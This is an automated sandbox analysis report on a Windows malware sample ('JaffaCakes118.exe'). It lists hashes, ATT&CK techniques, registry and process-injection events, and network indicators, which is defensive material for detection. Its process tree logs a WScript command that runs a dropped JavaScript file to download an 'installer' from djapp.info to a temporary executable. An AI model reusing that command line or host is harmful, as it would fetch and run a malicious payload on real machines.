31c29dc5c4770943380368497359c2aebe98f0cbfd14b7d3385eadc1fdeeb9f5

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
14-05-2024 17:02

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General

Target

4242979e6f08bf98bec8c4ae3af1304e_JaffaCakes118.exe
Size

184KB
MD5

4242979e6f08bf98bec8c4ae3af1304e
SHA1

41fc9abf66869a3291e9e7deb562b229c7e846b1
SHA256

31c29dc5c4770943380368497359c2aebe98f0cbfd14b7d3385eadc1fdeeb9f5
SHA512

8d8c1279d2cdefd6b50044b47e72d6bf27d25a5d17f50af1c36c4cd5742b80d7b92fa7fa9171358707b3f3a171c8bb39daac5e1a5ded9b38ea4877eee9027831
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO35:/7BSH8zUB+nGESaaRvoB7FJNndn0

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
6	4124	WScript.exe
33	4860	WScript.exe
42	4796	WScript.exe
43	4796	WScript.exe
58	2932	WScript.exe
60	4948	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\Control Panel\International\Geo\Nation	4242979e6f08bf98bec8c4ae3af1304e_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000_Classes\Local Settings	4242979e6f08bf98bec8c4ae3af1304e_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2064 wrote to memory of 4124	2064	4242979e6f08bf98bec8c4ae3af1304e_JaffaCakes118.exe	84
PID 2064 wrote to memory of 4124	2064	4242979e6f08bf98bec8c4ae3af1304e_JaffaCakes118.exe	84
PID 2064 wrote to memory of 4124	2064	4242979e6f08bf98bec8c4ae3af1304e_JaffaCakes118.exe	84
PID 2064 wrote to memory of 4860	2064	4242979e6f08bf98bec8c4ae3af1304e_JaffaCakes118.exe	96
PID 2064 wrote to memory of 4860	2064	4242979e6f08bf98bec8c4ae3af1304e_JaffaCakes118.exe	96
PID 2064 wrote to memory of 4860	2064	4242979e6f08bf98bec8c4ae3af1304e_JaffaCakes118.exe	96
PID 2064 wrote to memory of 4796	2064	4242979e6f08bf98bec8c4ae3af1304e_JaffaCakes118.exe	100
PID 2064 wrote to memory of 4796	2064	4242979e6f08bf98bec8c4ae3af1304e_JaffaCakes118.exe	100
PID 2064 wrote to memory of 4796	2064	4242979e6f08bf98bec8c4ae3af1304e_JaffaCakes118.exe	100
PID 2064 wrote to memory of 2932	2064	4242979e6f08bf98bec8c4ae3af1304e_JaffaCakes118.exe	102
PID 2064 wrote to memory of 2932	2064	4242979e6f08bf98bec8c4ae3af1304e_JaffaCakes118.exe	102
PID 2064 wrote to memory of 2932	2064	4242979e6f08bf98bec8c4ae3af1304e_JaffaCakes118.exe	102
PID 2064 wrote to memory of 4948	2064	4242979e6f08bf98bec8c4ae3af1304e_JaffaCakes118.exe	104
PID 2064 wrote to memory of 4948	2064	4242979e6f08bf98bec8c4ae3af1304e_JaffaCakes118.exe	104
PID 2064 wrote to memory of 4948	2064	4242979e6f08bf98bec8c4ae3af1304e_JaffaCakes118.exe	104

C:\Users\Admin\AppData\Local\Temp\4242979e6f08bf98bec8c4ae3af1304e_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\4242979e6f08bf98bec8c4ae3af1304e_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2064
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4621.js" http://www.djapp.info/?domain=xxYQyoWaKC.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4621.exe
  2⤵
  - Blocklisted process makes network request
  PID:4124
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4621.js" http://www.djapp.info/?domain=xxYQyoWaKC.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4621.exe
  2⤵
  - Blocklisted process makes network request
  PID:4860
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4621.js" http://www.djapp.info/?domain=xxYQyoWaKC.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4621.exe
  2⤵
  - Blocklisted process makes network request
  PID:4796
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4621.js" http://www.djapp.info/?domain=xxYQyoWaKC.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4621.exe
  2⤵
  - Blocklisted process makes network request
  PID:2932
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4621.js" http://www.djapp.info/?domain=xxYQyoWaKC.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4621.exe
  2⤵
  - Blocklisted process makes network request
  PID:4948

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf4621.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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